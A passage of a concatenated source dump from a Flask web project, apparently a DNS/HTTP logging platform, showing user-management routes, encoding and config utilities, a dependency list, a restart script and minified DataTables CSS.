render_template 8 | from flask import Blueprint 9 | from flask import session 10 | from sqlalchemy import and_ 11 | from lib.hander import db 12 | from lib.core.model import User 13 | from lib.hander.basehander import save_sql 14 | from lib.util.util import get_time 15 | from lib.core.enums import ApiStatus 16 | from lib.core.enums import UserStatus 17 | from lib.core.enums import UserRole 18 | from lib.core.env import * 19 | from lib.core.g import conf 20 | from lib.util.util import random_string 21 | from lib.hander.basehander import fix_response 22 | from lib.hander.basehander import login_check 23 | from werkzeug.security import generate_password_hash 24 | 25 | mod = Blueprint('user', __name__, url_prefix=f'{PREFIX_URL}/user') 26 | 27 | @mod.route('/index', methods=['POST', 'GET']) 28 | @login_check 29 | def index(): 30 | ctx = {} 31 | ctx['title'] = 'User' 32 | ctx['username'] = session.get('username') 33 | ctx['user_status'] = UserStatus 34 | return render_template('manager/system/user.html', **ctx) 35 | 36 | @mod.route('/list', methods=['POST', 'GET']) 37 | @login_check 38 | @fix_response 39 | def list(): 40 | response = { 41 | 'data': { 42 | 'res': [], 43 | 'total': 0, 44 | } 45 | } 46 | page = request.json.get('page', 1) 47 | per_page = request.json.get('per_page', 10) 48 | username = request.json.get('username', '') 49 | email = request.json.get('email', '') 50 | role = request.json.get('role', '') 51 | status = request.json.get('status', '') 52 | 53 | condition = (1 == 1) 54 | if username != '': 55 | condition = and_(condition, User.username.like('%' + username + '%')) 56 | 57 | if email != '': 58 | condition = and_(condition, User.email.like('%' + email + '%')) 59 | 60 | if status != '' and status in [UserStatus.OK, UserStatus.BAN]: 61 | condition = and_(condition, User.status == status) 62 | 63 | if role != '' and role in [UserRole.ADMIN, UserRole.GUEST, UserRole.USER]: 64 | condition = and_(condition, User.role == role) 65 | 66 | if per_page == 'all': 67 | for row in db.session.query(User).filter(condition).all(): 68 | response['data']['res'].append(row.to_json()) 69 | else: 70 | for row in db.session.query(User).filter(condition).order_by(User.update_time.desc()).paginate(page=page, per_page=per_page).items: 71 | response['data']['res'].append(row.to_json()) 72 | response['data']['total'] = db.session.query(User).filter(condition).count() 73 | return response 74 | 75 | @mod.route('/delete', methods=['POST', 'GET']) 76 | @login_check 77 | @fix_response 78 | def delete(): 79 | response = {'data': {'res': []}} 80 | user_id = request.json.get('id', '') 81 | user_ids = request.json.get('ids', '') 82 | if user_id != '' or user_ids != '': 83 | if user_id != '': 84 | user_id = int(user_id) 85 | user = db.session.query(User).filter(User.id == user_id).first() 86 | if user: 87 | db.session.delete(user) 88 | db.session.commit() 89 | response['data']['res'].append(user_id) 90 | if user_ids != '': 91 | try: 92 | for user_id in user_ids.split(','): 93 | user_id = int(user_id.replace(' ', '')) 94 | user = db.session.query(User).filter(User.id == user_id).first() 95 | if user: 96 | db.session.delete(user) 97 | db.session.commit() 98 | response['data']['res'].append(user_id) 99 | except: 100 | pass 101 | return response 102 | return ApiStatus.ERROR_IS_NOT_EXIST 103 | 104 | @mod.route('/add', methods=['POST', 'GET']) 105 | @login_check 106 | @fix_response 107 | def add(): 108 | email = request.json.get('email', '') 109 | username = request.json.get('username', '') 110 | mark = request.json.get('mark', '') 111 | role = request.json.get('role', '') 112 | description = request.json.get('description', '') 113 | if not re.match(r"^([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9\-.]+)$", email): 114 | return ApiStatus.ERROR_INVALID_INPUT_EMAIL 115 | 116 | if db.session.query(User).filter(User.email == email).first(): 117 | return ApiStatus.ERROR_PRIMARY 118 | 119 | if username == None or username == '': 120 | username = email.split('@')[0] 121 | 122 | if role == '' or role not in [UserRole.ADMIN, UserRole.GUEST, UserRole.USER]: 123 | return ApiStatus.ERROR_INVALID_INPUT 124 | 125 | status = UserStatus.OK 126 | login_failed = 0 127 | api_key = random_string(32) 128 | created_time = login_time = failed_time = get_time() 129 | 130 | user = User(email=email, username=username, status=status, mark=mark, role=role, api_key=api_key, 131 | login_failed=login_failed, created_time=created_time, login_time=login_time, failed_time=failed_time, description=description) 132 | user.password = user.generate_password_hash(conf.manager.default_password) 133 | if save_sql(user): 134 | return {'user': {'res': [email]}} 135 | else: 136 | return ApiStatus.ERROR 137 | 138 | @mod.route('/edit', methods=['POST', 'GET']) 139 | @login_check 140 | @fix_response 141 | def edit(): 142 | id = int(request.json.get('id', '')) 143 | # email = request.json.get('email', '') 144 | # username = request.json.get('username', '') 145 | mark = request.json.get('mark', '') 146 | role = request.json.get('role', '') 147 | description = request.json.get('description', '') 148 | status = request.json.get('status', '') 149 | user = db.session.query(User).filter_by(id=id).first() 150 | if user: 151 | # if regex_deal(email, INPUT_TYPE.EMAIL): 152 | # user.email = email 153 | # user.username = email.split('@')[0] 154 | # else: 155 | # return ApiStatus.ERROR_INVALID_INPUT_EMAIL 156 | 157 | # if db.session.query(User).filter(and_(User.email == email, User.id != user.id)).first(): 158 | # return ApiStatus.ERROR_PRIMARY 159 | 160 | if status in [UserStatus.OK, UserStatus.BAN]: 161 | user.status = status 162 | else: 163 | return ApiStatus.ERROR_INVALID_INPUT 164 | 165 | if role != '' and role in [UserRole.ADMIN, UserRole.GUEST, UserRole.USER]: 166 | user.role = role 167 | else: 168 | return ApiStatus.ERROR_INVALID_INPUT 169 | 170 | user.update_time = get_time() 171 | user.mark = mark 172 | user.description = description 173 | if save_sql(user): 174 | return {'user': {'res': [user.id]}} 175 | else: 176 | return ApiStatus.ERROR 177 | 178 | return ApiStatus.ERROR_IS_NOT_EXIST 179 | 180 | @mod.route('/reset', methods=['POST', 'GET']) 181 | @login_check 182 | @fix_response 183 | def reset(): 184 | id = int(request.json.get('id', '')) 185 | user = db.session.query(User).filter_by(id=id).first() 186 | if user: 187 | user.api_key = random_string(32) 188 | user.password = user.generate_password_hash(conf.manager.default_password) 189 | user.update_time = get_time() 190 | if save_sql(user): 191 | return {'user': {'res': [user.id]}} 192 | else: 193 | return ApiStatus.ERROR 194 | 195 | return ApiStatus.ERROR_IS_NOT_EXIST -------------------------------------------------------------------------------- /lib/util/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/util/cipherutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from jwt import PyJWT 6 | from base64 import b64encode 7 | from base64 import b64decode 8 | from urllib.parse import unquote 9 | from urllib.parse import quote 10 | 11 | def jwtencode(message, secret_key, algorithm='HS256'): 12 | """jwt 加密""" 13 | instance = PyJWT() 14 | data = instance.encode(message, secret_key, algorithm=algorithm) 15 | return data 16 | 17 | def jwtdecode(token, secret_key, algorithms=None, do_time_check=True): 18 | """jwt 解密""" 19 | if algorithms is None: 20 | algorithms = ["HS256"] 21 | 22 | instance = PyJWT() 23 | data = instance.decode(token, secret_key, algorithms=algorithms, do_time_check=do_time_check) 24 | return data 25 | 26 | 27 | 28 | def urldecode(value, encoding='utf-8'): 29 | """url解码""" 30 | 31 | return unquote(value, encoding) 32 | 33 | 34 | def safe_urldecode(value, encoding='utf-8'): 35 | """url解码, 不报错版""" 36 | 37 | try: 38 | return urldecode(value, encoding) 39 | except: 40 | return None 41 | 42 | 43 | def urlencode(value, encoding='utf-8'): 44 | """url编码""" 45 | 46 | return quote(value, encoding) 47 | 48 | def safe_urlencode(value, encoding='utf-8'): 49 | """url编码, 不报错版""" 50 | try: 51 | return urlencode(value, encoding) 52 | except: 53 | return None 54 | 55 | 56 | def base64encode(value, table=None, encoding='utf-8'): 57 | """base64编码""" 58 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 59 | if type(value) is not bytes: 60 | value = bytes(value, encoding) 61 | if table: 62 | return str(str.translate(str(b64encode(value)), str.maketrans(b64_table, table)))[2:-1] 63 | else: 64 | return str(b64encode(value), encoding=encoding) 65 | 66 | 67 | def safe_base64encode(value, table=None, encoding='utf-8'): 68 | """base64编码, 不报错版""" 69 | try: 70 | return base64encode(value, table, encoding) 71 | except: 72 | return None 73 | 74 | 75 | def base64decode(value, table=None, encoding='utf-8'): 76 | """base64解码""" 77 | b64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 78 | if table: 79 | return b64decode(str.translate(value, str.maketrans(table, b64_table))) 80 | else: 81 | if type(value) is not bytes: 82 | value = bytes(value, encoding) 83 | return b64decode(value) 84 | 85 | 86 | def safe_base64decode(value, table=None, encoding='utf-8'): 87 | """base64解码, 不报错版""" 88 | try: 89 | result = base64decode(value, table, encoding) 90 | if isinstance(result, bytes): 91 | result = result.decode(encoding) 92 | return result 93 | except: 94 | return None -------------------------------------------------------------------------------- /lib/util/configutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import os 6 | import json 7 | import configparser 8 | from attribdict import AttribDict 9 | 10 | def load_conf(path): 11 | """加载配置文件""" 12 | 13 | config = AttribDict() 14 | cf = configparser.ConfigParser() 15 | cf.read(path) 16 | sections = cf.sections() 17 | for section in sections: 18 | config[section] = AttribDict() 19 | for option in cf.options(section): 20 | value = cf.get(section, option) 21 | try: 22 | if value.startswith("{") and value.endswith("}") or value.startswith("[") and value.endswith("]"): 23 | value = json.loads(value) 24 | elif value.lower() == "false": 25 | value = False 26 | elif value.lower() == "true": 27 | value = True 28 | else: 29 | value = int(value) 30 | except Exception as e: 31 | pass 32 | config[section][option] = value 33 | return config 34 | 35 | 36 | def init_conf(path, configs): 37 | """初始化配置文件""" 38 | 39 | dirname = os.path.dirname(path) 40 | if not os.path.exists(dirname): 41 | os.makedirs(dirname) 42 | 43 | cf = configparser.ConfigParser(allow_no_value=True) 44 | for (section, section_comment), section_value in configs.items(): 45 | cf.add_section(section) 46 | 47 | if section_comment and section_comment != "": 48 | cf.set(section, fix_comment_content(f"{section_comment}\r\n")) 49 | 50 | for (key, key_comment), key_value in section_value.items(): 51 | if key_comment and key_comment != "": 52 | cf.set(section, fix_comment_content(key_comment)) 53 | if isinstance(key_value, dict) or isinstance(key_value, list): 54 | key_value = json.dumps(key_value) 55 | else: 56 | key_value = str(key_value) 57 | cf.set(section, key, f"{key_value}\r\n") 58 | 59 | with open(path, 'w+') as configfile: 60 | cf.write(configfile) 61 | 62 | 63 | def fix_comment_content(content): 64 | """按照80个字符一行就行格式化处理""" 65 | 66 | text = f'; ' 67 | for i in range(0, len(content)): 68 | if i != 0 and i % 80 == 0: 69 | text += '\r\n; ' 70 | text += content[i] 71 | return text 72 | 73 | 74 | def parser_conf(config_file_list): 75 | """解析配置文件,如不存在则创建""" 76 | 77 | config = dict() 78 | flag = True 79 | for _config_file, _config in config_file_list: 80 | 81 | if not os.path.exists(_config_file): 82 | flag = False 83 | init_conf(_config_file, _config) 84 | print(f"Please set the config in {_config_file}...") 85 | 86 | temp_conf = load_conf(_config_file) 87 | config.update(temp_conf.as_dict()) 88 | 89 | if not flag: 90 | exit() 91 | 92 | return AttribDict(config) 93 | -------------------------------------------------------------------------------- /lib/util/util.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import time 6 | import string 7 | import random 8 | from datetime import timedelta 9 | from datetime import datetime 10 | 11 | def parser_header(headers, flag: bool = True): 12 | """解析headers并返回""" 13 | 14 | res_headers = {} 15 | for key, value in headers.items(): 16 | res_headers[key] = value 17 | if flag: 18 | if 'Content-Length' in res_headers.keys(): 19 | res_headers.pop("Content-Length") 20 | 21 | return res_headers 22 | 23 | def get_time(timestamp=None): 24 | if timestamp: 25 | return datetime.fromtimestamp(timestamp) 26 | else: 27 | return datetime.fromtimestamp(time.time()) 28 | 29 | def get_timestamp(): 30 | return time.time() 31 | 32 | def random_string(length=32): 33 | return ''.join([random.choice( 34 | string.ascii_letters + string.digits + '_' 35 | ) for _ in range(length)]) 36 | 37 | def get_timedelta(seconds=3600): 38 | return timedelta(seconds=seconds) 39 | 40 | def get_time_str(date: datetime = None, fmt="%Y-%m-%d %H:%M:%S") -> str: 41 | """获取时间字符串""" 42 | 43 | if date: 44 | return datetime.strftime(date, fmt) 45 | else: 46 | return datetime.strftime(get_time(), fmt) 47 | 48 | 49 | def get_safe_ex_string(ex): 50 | """异常消息处理""" 51 | 52 | if getattr(ex, "message", None): 53 | retVal = ex.message 54 | elif getattr(ex, "msg", None): 55 | retVal = ex.msg 56 | else: 57 | retVal = str(ex) 58 | return retVal 59 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | attribdict==0.0.5 2 | certifi==2021.10.8 3 | cffi==1.15.1 4 | charset-normalizer==2.0.12 5 | click==8.0.4 6 | cryptography==38.0.1 7 | dnslib==0.9.16 8 | Flask==2.0.2 9 | Flask-Login==0.5.0 10 | Flask-SQLAlchemy==2.5.1 11 | greenlet==1.1.2 12 | idna==3.3 13 | itsdangerous==2.1.0 14 | Jinja2==3.0.3 15 | MarkupSafe==2.1.0 16 | pycparser==2.21 17 | PyJWT==2.4.0 18 | PyMySQL==1.0.2 19 | requests==2.27.0 20 | SQLAlchemy==1.4.31 21 | urllib3==1.26.8 22 | Werkzeug==2.0.3 23 | -------------------------------------------------------------------------------- /restart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "restarting process..." 3 | source venv/bin/activate 4 | 5 | ps -aux | grep "python celestion.py"| awk '{print $2}' | xargs kill -9 6 | nohup python celestion.py >> log/nohup_celestion.out & 7 | echo "restarted celestion!" 8 | 9 | echo "restarted process!" -------------------------------------------------------------------------------- /show/dns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/show/dns.png -------------------------------------------------------------------------------- /show/http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/show/http.png -------------------------------------------------------------------------------- /show/show_dns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/show/show_dns.png -------------------------------------------------------------------------------- /show/show_http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/show/show_http.png -------------------------------------------------------------------------------- /static/css/buttons.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | div.dt-button-info{position:fixed;top:50%;left:50%;width:400px;margin-top:-100px;margin-left:-200px;background-color:white;border:2px solid #111;box-shadow:3px 3px 8px rgba(0,0,0,0.3);border-radius:3px;text-align:center;z-index:21}div.dt-button-info h2{padding:0.5em;margin:0;font-weight:normal;border-bottom:1px solid #ddd;background-color:#f3f3f3}div.dt-button-info>div{padding:1em}ul.dt-button-collection.dropdown-menu{display:block;z-index:2002;-webkit-column-gap:8px;-moz-column-gap:8px;-ms-column-gap:8px;-o-column-gap:8px;column-gap:8px}ul.dt-button-collection.dropdown-menu.fixed{position:fixed;top:50%;left:50%;margin-left:-75px;border-radius:0}ul.dt-button-collection.dropdown-menu.fixed.two-column{margin-left:-150px}ul.dt-button-collection.dropdown-menu.fixed.three-column{margin-left:-225px}ul.dt-button-collection.dropdown-menu.fixed.four-column{margin-left:-300px}ul.dt-button-collection.dropdown-menu>*{-webkit-column-break-inside:avoid;break-inside:avoid}ul.dt-button-collection.dropdown-menu.two-column{width:300px;padding-bottom:1px;-webkit-column-count:2;-moz-column-count:2;-ms-column-count:2;-o-column-count:2;column-count:2}ul.dt-button-collection.dropdown-menu.three-column{width:450px;padding-bottom:1px;-webkit-column-count:3;-moz-column-count:3;-ms-column-count:3;-o-column-count:3;column-count:3}ul.dt-button-collection.dropdown-menu.four-column{width:600px;padding-bottom:1px;-webkit-column-count:4;-moz-column-count:4;-ms-column-count:4;-o-column-count:4;column-count:4}div.dt-button-background{position:fixed;top:0;left:0;width:100%;height:100%;z-index:2001}@media screen and (max-width: 767px){div.dt-buttons{float:none;width:100%;text-align:center;margin-bottom:0.5em}div.dt-buttons a.btn{float:none}} -------------------------------------------------------------------------------- /static/css/dataTables.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{clear:both;margin-top:6px !important;margin-bottom:6px !important;max-width:none !important;border-collapse:separate !important}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable td.dataTables_empty,table.dataTable th.dataTables_empty{text-align:center}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}div.dataTables_wrapper div.dataTables_length label{font-weight:normal;text-align:left;white-space:nowrap}div.dataTables_wrapper div.dataTables_length select{width:75px;display:inline-block}div.dataTables_wrapper div.dataTables_filter{text-align:right}div.dataTables_wrapper div.dataTables_filter label{font-weight:normal;white-space:nowrap;text-align:left}div.dataTables_wrapper div.dataTables_filter input{margin-left:0.5em;display:inline-block;width:auto}div.dataTables_wrapper div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_wrapper div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_wrapper div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}div.dataTables_wrapper div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:1em 0}table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting{padding-right:30px}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{position:absolute;bottom:8px;right:8px;display:block;font-family:'Glyphicons Halflings';opacity:0.5}table.dataTable thead .sorting:after{opacity:0.2;content:"\e150"}table.dataTable thead .sorting_asc:after{content:"\e155"}table.dataTable thead .sorting_desc:after{content:"\e156"}table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{color:#eee}div.dataTables_scrollHead table.dataTable{margin-bottom:0 !important}div.dataTables_scrollBody table{border-top:none;margin-top:0 !important;margin-bottom:0 !important}div.dataTables_scrollBody table thead .sorting:after,div.dataTables_scrollBody table thead .sorting_asc:after,div.dataTables_scrollBody table thead .sorting_desc:after{display:none}div.dataTables_scrollBody table tbody tr:first-child th,div.dataTables_scrollBody table tbody tr:first-child td{border-top:none}div.dataTables_scrollFoot table{margin-top:0 !important;border-top:none}@media screen and (max-width: 767px){div.dataTables_wrapper div.dataTables_length,div.dataTables_wrapper div.dataTables_filter,div.dataTables_wrapper div.dataTables_info,div.dataTables_wrapper div.dataTables_paginate{text-align:center}}table.dataTable.table-condensed>thead>tr>th{padding-right:20px}table.dataTable.table-condensed .sorting:after,table.dataTable.table-condensed .sorting_asc:after,table.dataTable.table-condensed .sorting_desc:after{top:6px;right:6px}table.table-bordered.dataTable th,table.table-bordered.dataTable td{border-left-width:0}table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable td:last-child,table.table-bordered.dataTable td:last-child{border-right-width:0}table.table-bordered.dataTable tbody th,table.table-bordered.dataTable tbody td{border-bottom-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}div.table-responsive>div.dataTables_wrapper>div.row{margin:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:first-child{padding-left:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:last-child{padding-right:0} -------------------------------------------------------------------------------- /static/css/jquery.dataTables.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{width:100%;margin:0 auto;clear:both;border-collapse:separate;border-spacing:0}table.dataTable thead th,table.dataTable tfoot th{font-weight:bold}table.dataTable thead th,table.dataTable thead td{padding:10px 18px;border-bottom:1px solid #111}table.dataTable thead th:active,table.dataTable thead td:active{outline:none}table.dataTable tfoot th,table.dataTable tfoot td{padding:10px 18px 6px 18px;border-top:1px solid #111}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;*cursor:hand;background-repeat:no-repeat;background-position:center right}table.dataTable thead .sorting{background-image:url("../img/sort_both.png")}table.dataTable thead .sorting_asc{background-image:url("../img/sort_asc.png")}table.dataTable thead .sorting_desc{background-image:url("../images/sort_desc.png")}table.dataTable thead .sorting_asc_disabled{background-image:url("../images/sort_asc_disabled.png")}table.dataTable thead .sorting_desc_disabled{background-image:url("../images/sort_desc_disabled.png")}table.dataTable tbody tr{background-color:#ffffff}table.dataTable tbody tr.selected{background-color:#B0BED9}table.dataTable tbody th,table.dataTable tbody td{padding:8px 10px}table.dataTable.row-border tbody th,table.dataTable.row-border tbody td,table.dataTable.display tbody th,table.dataTable.display tbody td{border-top:1px solid #ddd}table.dataTable.row-border tbody tr:first-child th,table.dataTable.row-border tbody tr:first-child td,table.dataTable.display tbody tr:first-child th,table.dataTable.display tbody tr:first-child td{border-top:none}table.dataTable.cell-border tbody th,table.dataTable.cell-border tbody td{border-top:1px solid #ddd;border-right:1px solid #ddd}table.dataTable.cell-border tbody tr th:first-child,table.dataTable.cell-border tbody tr td:first-child{border-left:1px solid #ddd}table.dataTable.cell-border tbody tr:first-child th,table.dataTable.cell-border tbody tr:first-child td{border-top:none}table.dataTable.stripe tbody tr.odd,table.dataTable.display tbody tr.odd{background-color:#f9f9f9}table.dataTable.stripe tbody tr.odd.selected,table.dataTable.display tbody tr.odd.selected{background-color:#acbad4}table.dataTable.hover tbody tr:hover,table.dataTable.display tbody tr:hover{background-color:#f6f6f6}table.dataTable.hover tbody tr:hover.selected,table.dataTable.display tbody tr:hover.selected{background-color:#aab7d1}table.dataTable.order-column tbody tr>.sorting_1,table.dataTable.order-column tbody tr>.sorting_2,table.dataTable.order-column tbody tr>.sorting_3,table.dataTable.display tbody tr>.sorting_1,table.dataTable.display tbody tr>.sorting_2,table.dataTable.display tbody tr>.sorting_3{background-color:#fafafa}table.dataTable.order-column tbody tr.selected>.sorting_1,table.dataTable.order-column tbody tr.selected>.sorting_2,table.dataTable.order-column tbody tr.selected>.sorting_3,table.dataTable.display tbody tr.selected>.sorting_1,table.dataTable.display tbody tr.selected>.sorting_2,table.dataTable.display tbody tr.selected>.sorting_3{background-color:#acbad5}table.dataTable.display tbody tr.odd>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd>.sorting_1{background-color:#f1f1f1}table.dataTable.display tbody tr.odd>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd>.sorting_2{background-color:#f3f3f3}table.dataTable.display tbody tr.odd>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd>.sorting_3{background-color:whitesmoke}table.dataTable.display tbody tr.odd.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_1{background-color:#a6b4cd}table.dataTable.display tbody tr.odd.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_2{background-color:#a8b5cf}table.dataTable.display tbody tr.odd.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_3{background-color:#a9b7d1}table.dataTable.display tbody tr.even>.sorting_1,table.dataTable.order-column.stripe tbody tr.even>.sorting_1{background-color:#fafafa}table.dataTable.display tbody tr.even>.sorting_2,table.dataTable.order-column.stripe tbody tr.even>.sorting_2{background-color:#fcfcfc}table.dataTable.display tbody tr.even>.sorting_3,table.dataTable.order-column.stripe tbody tr.even>.sorting_3{background-color:#fefefe}table.dataTable.display tbody tr.even.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_1{background-color:#acbad5}table.dataTable.display tbody tr.even.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_2{background-color:#aebcd6}table.dataTable.display tbody tr.even.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_3{background-color:#afbdd8}table.dataTable.display tbody tr:hover>.sorting_1,table.dataTable.order-column.hover tbody tr:hover>.sorting_1{background-color:#eaeaea}table.dataTable.display tbody tr:hover>.sorting_2,table.dataTable.order-column.hover tbody tr:hover>.sorting_2{background-color:#ececec}table.dataTable.display tbody tr:hover>.sorting_3,table.dataTable.order-column.hover tbody tr:hover>.sorting_3{background-color:#efefef}table.dataTable.display tbody tr:hover.selected>.sorting_1,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_1{background-color:#a2aec7}table.dataTable.display tbody tr:hover.selected>.sorting_2,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_2{background-color:#a3b0c9}table.dataTable.display tbody tr:hover.selected>.sorting_3,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_3{background-color:#a5b2cb}table.dataTable.no-footer{border-bottom:1px solid #111}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}table.dataTable.compact thead th,table.dataTable.compact thead td{padding:4px 17px 4px 4px}table.dataTable.compact tfoot th,table.dataTable.compact tfoot td{padding:4px}table.dataTable.compact tbody th,table.dataTable.compact tbody td{padding:4px}table.dataTable th.dt-left,table.dataTable td.dt-left{text-align:left}table.dataTable th.dt-center,table.dataTable td.dt-center,table.dataTable td.dataTables_empty{text-align:center}table.dataTable th.dt-right,table.dataTable td.dt-right{text-align:right}table.dataTable th.dt-justify,table.dataTable td.dt-justify{text-align:justify}table.dataTable th.dt-nowrap,table.dataTable td.dt-nowrap{white-space:nowrap}table.dataTable thead th.dt-head-left,table.dataTable thead td.dt-head-left,table.dataTable tfoot th.dt-head-left,table.dataTable tfoot td.dt-head-left{text-align:left}table.dataTable thead th.dt-head-center,table.dataTable thead td.dt-head-center,table.dataTable tfoot th.dt-head-center,table.dataTable tfoot td.dt-head-center{text-align:center}table.dataTable thead th.dt-head-right,table.dataTable thead td.dt-head-right,table.dataTable tfoot th.dt-head-right,table.dataTable tfoot td.dt-head-right{text-align:right}table.dataTable thead th.dt-head-justify,table.dataTable thead td.dt-head-justify,table.dataTable tfoot th.dt-head-justify,table.dataTable tfoot td.dt-head-justify{text-align:justify}table.dataTable thead th.dt-head-nowrap,table.dataTable thead td.dt-head-nowrap,table.dataTable tfoot th.dt-head-nowrap,table.dataTable tfoot td.dt-head-nowrap{white-space:nowrap}table.dataTable tbody th.dt-body-left,table.dataTable tbody td.dt-body-left{text-align:left}table.dataTable tbody th.dt-body-center,table.dataTable tbody td.dt-body-center{text-align:center}table.dataTable tbody th.dt-body-right,table.dataTable tbody td.dt-body-right{text-align:right}table.dataTable tbody th.dt-body-justify,table.dataTable tbody td.dt-body-justify{text-align:justify}table.dataTable tbody th.dt-body-nowrap,table.dataTable tbody td.dt-body-nowrap{white-space:nowrap}table.dataTable,table.dataTable th,table.dataTable td{box-sizing:content-box}.dataTables_wrapper{position:relative;clear:both;*zoom:1;zoom:1}.dataTables_wrapper .dataTables_length{float:left}.dataTables_wrapper .dataTables_filter{float:right;text-align:right}.dataTables_wrapper .dataTables_filter input{margin-left:0.5em}.dataTables_wrapper .dataTables_info{clear:both;float:left;padding-top:0.755em}.dataTables_wrapper .dataTables_paginate{float:right;text-align:right;padding-top:0.25em}.dataTables_wrapper .dataTables_paginate .paginate_button{box-sizing:border-box;display:inline-block;min-width:1.5em;padding:0.5em 1em;margin-left:2px;text-align:center;text-decoration:none !important;cursor:pointer;*cursor:hand;color:#333 !important;border:1px solid transparent;border-radius:2px}.dataTables_wrapper .dataTables_paginate .paginate_button.current,.dataTables_wrapper .dataTables_paginate .paginate_button.current:hover{color:#333 !important;border:1px solid #979797;background-color:white;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fff), color-stop(100%, #dcdcdc));background:-webkit-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-moz-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-ms-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:-o-linear-gradient(top, #fff 0%, #dcdcdc 100%);background:linear-gradient(to bottom, #fff 0%, #dcdcdc 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button.disabled,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active{cursor:default;color:#666 !important;border:1px solid transparent;background:transparent;box-shadow:none}.dataTables_wrapper .dataTables_paginate .paginate_button:hover{color:white !important;border:1px solid #111;background-color:#585858;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #585858), color-stop(100%, #111));background:-webkit-linear-gradient(top, #585858 0%, #111 100%);background:-moz-linear-gradient(top, #585858 0%, #111 100%);background:-ms-linear-gradient(top, #585858 0%, #111 100%);background:-o-linear-gradient(top, #585858 0%, #111 100%);background:linear-gradient(to bottom, #585858 0%, #111 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button:active{outline:none;background-color:#2b2b2b;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #2b2b2b), color-stop(100%, #0c0c0c));background:-webkit-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-moz-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-ms-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-o-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:linear-gradient(to bottom, #2b2b2b 